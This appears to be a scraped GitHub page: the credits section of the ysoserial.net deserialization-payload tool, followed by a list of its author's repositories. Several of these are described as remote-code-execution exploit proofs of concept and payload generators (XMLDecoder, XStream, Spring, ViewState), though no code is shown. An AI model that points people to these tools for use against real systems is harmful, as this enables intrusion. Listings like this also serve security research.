		[Finders: Levi Broderick] [Contributors: Alvaro Munoz, Soroush Dalili]
	WindowsPrincipal
		[Finders: Steven Seeley of Qihoo 360 Vulcan Team] [Contributors: Chris Anastasio]
	XamlAssemblyLoadFromFile
		[Finders: Soroush Dalili] [Contributors: russtone]

Credits for available plugins:
	ActivatorUrl
		Harrison Neal
	Altserialization
		Soroush Dalili
	ApplicationTrust
		Soroush Dalili
	Clipboard
		Soroush Dalili
	DotNetNuke
		discovered by Oleksandr Mirosh and Alvaro Munoz, implemented by Alvaro Munoz, tested by @GlitchWitch
	Resx
		Soroush Dalili
	SessionSecurityTokenHandler
		Soroush Dalili
	SharePoint
		CVE-2018-8421: Soroush Dalili, CVE-2019-0604: Markus Wulftange, CVE-2020-1147: Oleksandr Mirosh, Markus Wulftange, Jonathan Birch, Steven Seeley (write-up)  - implemented by Soroush Dalili
	TransactionManagerReenlist
		Soroush Dalili
	ViewState
		Soroush Dalili

Various other people have also donated their time and contributed to this project.
Please see https://github.com/pwntester/ysoserial.net/graphs/contributors to find those who have helped developing more features or have fixed bugs.

Additional Reading

ysoserial.net references in the wild

Research:

Usage:

Talks:

Tools:

CTF write-ups:

More Repositories

1

octo.nvim

Edit and review GitHub issues and pull requests from the comfort of your favorite editor
Lua
1,946
star
2

cheatsheets

random brain dumps
345
star
3

SerialKillerBypassGadgetCollection

Collection of bypass gadgets to extend and wrap ysoserial payloads
Java
339
star
4

JRE8u20_RCE_Gadget

JRE8u20_RCE_Gadget
Java
250
star
5

DupeKeyInjector

DupeKeyInjector
Java
131
star
6

S2-046-PoC

S2-046-PoC
Java
114
star
7

codeql.nvim

CodeQL plugin for Neovim
Lua
84
star
8

codeql_grehack_workshop

GreHack 2021 CodeQL for Java workshop
CodeQL
75
star
9

BlockingServer

Web Server that serves a single file and keeps the connection open until user releases it.
Java
69
star
10

XMLDecoder

RCE Exploit PoC for XMLDecoder
Java
62
star
11

dotnet-deserialization-scanner

.NET Deserialization Passive Scanner
Java
43
star
12

SpringBreaker

Exploit PoC for Spring RCE issue (CVE-2011-2894)
Java
42
star
13

dotfiles

Shell
34
star
14

ViewStatePayloadGenerator

ViewState Payload Generator
C#
24
star
15

XStreamServer

RCE Exploit PoC for Spring based RESTFul APIs using XStream as Unmarshaler
Java
20
star
16

nautilus.nvim

A nice and cobaltish neovim theme
Lua
18
star
17

JVMDeserialization

PoC for Scala and Groovy
XSLT
14
star
18

RSA_RESTing

Demos for RSA talk: RESTing on your laurels will get you owned
Java
12
star
19

XStreamPOC

POC for XStream RCE
Java
12
star
20

logging-log4j2

Java
7
star
21

pwntester-blog

Pwntester Blog
HTML
7
star
22

OWASP-GoatDroid-Dolphis

OWASP GoatDroid Exploit Apps
Java
5
star
23

cobalt2.vim

Color scheme for vim
Vim Script
5
star
24

OGNLInjection

OGNL Expression Injection Tescase
Java
5
star
25

hc0n_log4j

Java
5
star
26

jdeserialize

Automatically exported from code.google.com/p/jdeserialize
Java
3
star
27

StaticInitializerPayload

Java
3
star
28

RestletXMLDecoder

Restlet API consuming XML serialized Java Objects. Vulnerable to XXE and RCE (if third party libraries like GroovyShell are found in the classpath)
Java
3
star
29

cobange

Neovim color scheme
Vim Script
2
star
30

pwntester.github.io

pwntester Blog
HTML
2
star
31

XQueryInjection

XQuery Injection Testcases
JavaScript
2
star
32

csaw2016_rock

Python
2
star
33

gh-cdr

gh-cdr
Go
2
star
34

crane.nvim

Lua
2
star
35

test-project

Dockerfile
2
star
36

docs

1
star
37

gh-mrva

1
star
38

codeql-cs-template

Dockerfile
1
star
39

FortifyHighlighter

Sublime Text Editor Themes for Fortify rulepacks and NSTs
1
star